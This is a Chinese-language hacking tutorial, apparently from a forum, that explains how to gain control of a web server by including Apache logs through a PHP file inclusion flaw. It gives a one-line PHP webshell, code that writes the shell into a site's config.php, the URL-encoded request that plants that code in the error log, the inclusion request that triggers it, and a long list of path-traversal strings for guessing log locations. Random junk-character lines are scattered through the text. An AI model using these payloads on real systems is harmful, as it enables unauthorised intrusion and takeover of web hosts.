php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
7 w9 f! y0 r5 |/ @
$ o/ r# B" X" Y* m, E) f9 x<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
+ U) n/ A% L/ f: Lfclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
5 {9 N" P- ~; l( h$ J' nconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
- ?! J' l0 V! q. d4 _fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- [5 m/ J1 b: u4 a; V2 U1 j%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
! J9 u8 z) W1 O4 h0 B%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
1 M! G; B9 m& h4 K( r& Ycmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
& y  D; ~7 _3 y! L0 M0 O3 T! g0 l6 ?我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
2 {2 t4 a/ B) G! j* U) j
0 S" K% i& Z5 p这样webshell就写入成功了，config.php里就写入一句木马语句
. o2 p$ @  S6 d1 H( e, M9 h) FOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
# i2 T/ U4 h; q$ s/ }直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
1 Q# K* H4 q: v
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
& O% Z4 X1 Y  h5 I3 ^../../apache/logs/error.log
. u0 q3 D' [2 `# @5 E- A$ F& K../../apache/logs/access.log
../../../apache/logs/error.log
  x/ V; P6 e% H, }$ n. H../../../apache/logs/access.log
7 K9 \- [! t+ C0 F4 i( y../../../../../../../../../../etc/httpd/logs/acces_log
5 y0 ~* B  l4 _; D../../../../../../../../../../etc/httpd/logs/acces.log
5 n3 h9 m0 e6 k+ r9 y../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
8 E6 L1 s* t, N6 c; j& t. _../../../../../../../../../../usr/local/apache/logs/access_log
# p8 \% `% w3 ]4 x( `../../../../../../../../../../usr/local/apache/logs/access.log
2 s4 w2 j7 X$ R  x* M. D3 z6 w../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
( [/ k& O, Q- @, ~2 H) F../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
$ R; |; E3 A$ W$ n$ _../../../../../../../../../../usr/local/apache/logs/error.log
) V6 k% T, i. K3 q) o1 o../../../../../../../../../../var/log/apache/error_log
4 t! r" L: r3 E- L) L../../../../../../../../../../var/log/apache/error.log
: A/ y3 _  O. S) |" J../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
2 F6 ~) j7 f/ a, k$ A) G7 Y, y../apache/logs/access.log
) |4 W. d; T/ {, X/ t: y  ^' N6 x../../apache/logs/error.log
../../apache/logs/access.log
' ~& m% K# n$ W../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
* j/ |; d3 p) _. c2 V0 D/etc/httpd/logs/acces.log
* o5 O; r6 ~" N/etc/httpd/logs/error_log
" F- w  p6 B7 d1 X! R) s/etc/httpd/logs/error.log
- T; _/ [0 e" j9 |/var/www/logs/access_log
* W/ c+ X9 d/ O! E. j# N6 j2 c( K: C. S/var/www/logs/access.log
8 G8 R: q8 V4 G6 ]8 u# h/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
% X" e1 U% N2 `. D; T  A/var/log/apache/access_log
/var/log/apache/access.log
! c* s& B9 \2 t3 j  d/var/log/access_log
/var/www/logs/error_log
5 g9 E' t& L1 N! f# a/var/www/logs/error.log
/usr/local/apache/logs/error_log
, M+ e' b. v% C/usr/local/apache/logs/error.log
. n& w, z6 `5 Y- W/ W& W3 U/var/log/apache/error_log
4 E  ~% ~+ y# H/ c/ U/var/log/apache/error.log
/var/log/access_log
9 p3 v( Z( p/ ~, S7 {4 Q- \/ G/var/log/error_log